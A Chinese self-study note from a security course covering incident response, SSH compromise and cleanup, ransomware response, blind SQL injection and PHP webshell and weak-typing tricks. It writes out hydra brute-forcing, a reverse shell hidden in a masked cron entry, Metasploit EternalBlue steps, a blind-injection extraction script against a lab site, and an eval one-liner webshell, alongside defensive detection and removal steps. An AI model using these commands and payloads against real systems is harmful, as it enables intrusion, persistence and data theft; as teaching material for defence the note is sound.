本文为B站网络安全课程自学内容笔记,仅用于学习记录,严禁用于非法途径。任何危害网络安全与违法犯罪行为皆与本站无关。
应急响应
概念
应急响应(Incident Response/Emergency Response等),通常是指一个组织为了应对各种意外事件发生前所做的准备,以及在意外事件发生后所采取的措施。
网络安全应急响应 是指针对已经发生或可能发生的安全事件进行监控、分析、协调、处理、保护资产安全。
作用与意义
- 未雨绸缪
- 亡羊补牢
事件级别
- 特别重大事件:红色预警、一级响应
- 重大事件:橙色预警、二级响应
- 较大事件:黄色预警、三级响应
- 一般事件:蓝色预警、四级响应
事件类型
- 应用安全:Webshell、网页篡改、网页挂马…
- 系统安全:勒索病毒、挖矿木马、远控后门…
- 网络安全:DDOS攻击、ARP攻击、流量劫持…
- 数据安全:数据泄露、损坏、加密…
应急响应模型(PDCERF)
- 准备阶段(Preparation)
- 检测阶段(Detection)
- 抑制阶段(Containment)
- 根除阶段(Eradication)
- 恢复阶段(Recovery)
- 总结阶段(Follow-up)
实际处理可能的模型
- 确定攻击时间
- 查找攻击线索
- 梳理攻击流程
- 实施解决方案
- 定位攻击者,溯源取证
黑客常用攻击流程:
SSH
简介
SSH(Secure Shell)是一种加密的网络传输协议,主要用于在不安全的网络中提供安全的远程登录、文件传输和命令执行等功能。
通过SSH拿下服务器
SSH 即 Secure Shell(安全外壳协议),是一种用于远程访问及文件传输的网络安全协议。
扫描同网段下的主机
arp-scan -l
攻击机IP 靶机IP
1、信息收集 爆破SSH服务
- 检查SSH服务是否启动!
- SSH的默认端口:22
- 使用nmap扫描目标主机端口
nmap 靶机IP
2、爆破SSH (可用hydra,美杜莎,MSF等,需要有字典)
hydra -L users.txt -P password.txt ssh://靶机IP:22/
hydra介绍:
hydra 是一款非常强大的暴力破解工具,它是由薯名的黑
客组织THC开发的一款开源暴力破解工具。hydra是一个
验证性质的工具,主要目的是:展示安全研究人员从远
程获取一个系统认证权限。
获取到用户名,密码:login: root password: root
3、SSH登录
ssh root@靶机IP
此时在靶机上就可以查到被访问记录
4、后门木马
进入靶机的/tmp下
创建隐藏计划任务(反向shell)
nc 攻击机ip 8888 -e /bin/bash
给予可执行权限
(crontab -l;printf "* * * * * /tmp/future.sh;\rno crontab for 'whoami'%100c\n")|crontab -
crontab -l查看计划任务
* * * * * /tmp/future.sh每隔一分钟执行 /tmp/future.sh下的脚本
no crontab for ‘whoami’当前用户是谁
100c 100个空格
正向shell:攻击机直接连接目标机器
反向shell:让目标机器来连接攻击机
运行future2.sh
监听8888端口,获取反弹shell
应急响应(受害者角度)
1.查看网络连接情况
netstat -antpl
找到异常进程
2.查看守护进程
查看进程树:pstree -p
查看进程:systemctl status 3199
3.查看计划任务
crontab -l:未发现有计划任务,可能是隐藏的计划任务
查看/var/spool/cron/crontabs下的任务
使用cat -A root或者cat -vET root:可以看到隐藏内
或者vim root: 直接骗辑也可以看到具体任务的内容
4.找到task.sh文件
发现权限为root,说明攻击者以root账户登录,很有可能root账户密码被爆破。可以通过lastb
查看登录日志确认。
last -f /var/log/wtmp
查看登录成功的日志。
last -f /var/log/btmp
查看登录失败的日志。
5.删除计划任务、结束异常进程
- 删除隐藏计划任务:
crontab -r -u root
- 杀掉恶意进程:
kill 进程ID
- 删除异常文件:
rm task.sh
- 修改密码:
passwd root
- 关闭root用户远程连接的权限:
vim /etc/ssh/sshd_config
修改PermitRootLogin为no,增强权限控制 - 修改SSH默认端口:
vim /etc/ssh/sshd_config
将22端口修改成其他端口,并将#删掉
勒索病毒
病毒和木马
病毒:感染型病毒,是编制者在计算机程序中插入的破
坏计算机功能或者数据的代码,能影响计算机使用,能
自我复制的一组计算机指令或者程序代码。
特性:传播性,隐蔽性,感染型,破环性,潜伏性
木马:”木马计”,木马是一种带有恶意性质的远程控制软件。它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
区别:
- 病毒会传染, 木马不会
- 病毒入侵后会有感知,而木马不会
- 病毒主要以破坏著称
简介
勒索病毒,是一种电脑病毒,主要以邮件,程序木马,网页挂马等形式进行传播。该病毒性质恶劣,危害极大,一旦感染将给用户带来无法估量的损失。这种病毒利用各种加密算法对文件进行加密,被感染者一般无法解密,必须拿到解密的私钥才有可能破解。勒索病毒通常使用非对称和对称加密算法组合的形式来加密文件,绝大部分勒索病毒均无法通过技术手段解密,一般无法朔源,危害巨大。
解密方法
入侵攻击者的服务器,获取非对称加密的私钥,用非对称加密的私钥,解密经过非对称加密公钥加密后的对称加密密钥,进而解密文件数据 | 高 |
勒索病毒加密算法设计存在问题,比如2018年“微信支付”勒索病毒,加密密钥存放在本地,所以很快就被破解 | 高 |
暴力破解 | 高 |
支付赎金,下载特定的解密器 | 中 |
模拟攻击——Wannacry勒索病毒
运行msf:msfconsole
输入search ms17_010
找到永恒之蓝服务
use 0
进行使用,通过options
查看设置内容,要求为yes为必填项,要求为no为可选项
开始攻击
set rhosts 目标ip
run
详解:https://www.bilibili.com/video/BV1PaQ3YGEq9/?p=22
应急响应
1、事件状态判断
2、临时处置
- 被感染主机:网络隔离、禁止使用U盘和移动硬盘
- 未感染主机:隔离、关闭SSH、RDP等协议、禁止使用U盘和移动硬盘
3、信息收集分析
- 样本获取
- Windows系统:
- 文件排查
- 进程排查
- 日志排查
4、事件处置
- 被感染主机:网络隔离、等待解密进展、重装系统
- 未感染主机:补丁修复、事件加固
5、事件防御
SQL注入
MySQL特性:
原理
当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
本质:把用户输入的数据当成是代码来执行
关键点:
- 用户能够控制输入的内容
- 数据库能够执行用户输入的内容
危害:
- 盗取网站的敏感信息
- 绕过网站后台认证
分类
根据注入位置分类:GET型,POST型,Head头注入。
根据反馈结果分类:有回显(显错注入),无回显(盲注)
根据数据类型分类:
- 数字型:输入的参数为整型,如id,年龄,页码等
- 字符型:输入的参数为字符串
数字型与字符型最大的区别在于:数字型不需要闭合,而字符串型一般需要闭合。
攻击流程
1、寻找注入点
2、判断闭合方式
先判断是数字型还是字符型
再判断闭合方式
在线靶场:https://sqli-labs.bachang.org/
详解:https://www.bilibili.com/video/BV1PaQ3YGEq9?p=31
布尔盲注(基于布尔判断的盲注)
什么是盲注?
盲注就是在SQL注入过程中,找到注入点,执行SQL语句后,查询到的数据或者错误信息不能回显到前端页面,此时,我们需要利用一些方法进行判断或者猜测,这个过程称为盲注。
特性
在页面中,如果正确执行了用户构造的SQL语句,则返回一种页面,如果SQL语句执行错误,则返回另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的。
流程
1、确定注入点
方法:通过增加’和增加–+注释符,语句从执行失败变为执行成功判断注入点
语句:
https://sqli-labs.bachang.org/Less-8/?id=1'
https://sqli-labs.bachang.org/Less-8/?id=1''
https://sqli-labs.bachang.org/Less-8/?id=1' --+
2、判断数据库版本
方法:主要因为5.0版本以下没有information_schema数据库,无法进行手动注入;由于无法回显数据,利用逻辑与和数据库版本第1位数字字符做判断;
语句:
https://sqli-labs.bachang.org/Less-8/?id=1' and left(version(), 1) >= 5 --+
3、判断数据库名长度
https://sqli-labs.bachang.org/Less-8/?id=1' and length(database()) = 8 --+
4、猜当前数据库的名称
ascii() 字符串比较
substr() 字符串截取
substr(1,2,3)
1:需要截取的字符串
2:从第几位开始
3:截取多少位
https://sqli-labs.bachang.org/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
5、猜当前表的名称
获取数据表名称的SQL语句:
select table_name from information_schema.tables where table_schema=database()
表的数量:count()
select count(table_name) from information_schema.tables where table_schema=database()
第一个表
select table_name from information_schema.tables where table_schema=database() limit 0,1
长度
length((select table_name from information_schema.tables where table_schema=database() limit 0,1))
第一个表的名字
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
以下为简单的盲注脚本:
import requests
import string
url = "https://sqli-labs.bachang.org/Less-8/?id="
select = "select database()"
#select = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#select = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'"
#select = "select group_concat(username) from users"
result = ""
for i in range(1, 100):
for ch in string.ascii_letters + string.digits + ",:}{_":
payload = f"1' and substr(({select}),{i},1) = '{ch}'%23"
r = requests.get(url = url + payload)
if "You are in" in r.text:
result += ch
print(result)
break
if ch == "_":
print("**注入完成**")
exit(0)
一句话木马
一句话木马 在很多的渗透过程中,渗透人员会上传一句话木马(简称Webshell)到目前web服务目录继而提权获取系统权限,不论asp、php、jsp、aspx都是如此
基本原理:
用最为常见的php一句话木马为例,<?php @eval($_POST[‘cmd’]);?>
<?php ?>为php固定规范写法
@表示后面如果执行错误不会报错
eval()函数表示括号里的语句字符串全做代码执行,
$_POST[‘cmd’]表示从页面中以post方式接受变量cmd
PHP弱类型
PHP语言 是弱类型的,在申明一个变量的时候,并不需要指明它保存的数据类型。弱类型语言对变量的数据类型没有限制,可以将变量赋值成其他类型变量,同时变量可以转换成任意其他类型的数据。在类型转换的过程中,变量的值可能会改变,造成了php弱类型问题。
==和===比较的区别
- ===在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
- ==在进行比较的时候,会先将字符串类型转化成相同,再比较。
- 如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
转换规则
- 字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
- e和E表示科学计数法,要按照科学计数法数字处理,不能按照字符串处理。
示例:
<?php
var_dump("admin"==0); // t
var_dump("1admin"==1); // t
var_dump("admin1"==1); // f
var_dump("admin1"==0); // t
var_dump("0e123456"=="0e4456789"); // t
var_dump(1 + "10.5"); // 11.5
var_dump(1 + "-1.3e3"); // -1299
var_dump(1 + "bob-1.3e3"); // 1
var_dump(1 + "2admin"); // 3
var_dump(1 + "admin2"); // 1
?>
md5
MD5 消息摘要算法,属Hash算法一类。MD5算法对输入任意长度的消息进行运行,产生一个128位的消息摘要(32位的数字字母混合码).
md5主要特点:不可逆,相同数据的MD5值肯定一样,不同数据的MD5值不一样
使用md5加密
<?php
$a = 123456;
$b = md5($a);
echo $b;
?>
弱类型比较绕过
$a != $b
md5($a) == md5($b)
解题思路:
找到不同$a和$b,两者的md5值均为0e开头的形式
$a == md5($a)
解题思路:
找到一个0e开头,md5后依然是0e开头的$a
$a != $b
md5($a) === md5($b)
解题思路:
使$a和$b为两个不同的数组(array),两者的md5值均为null。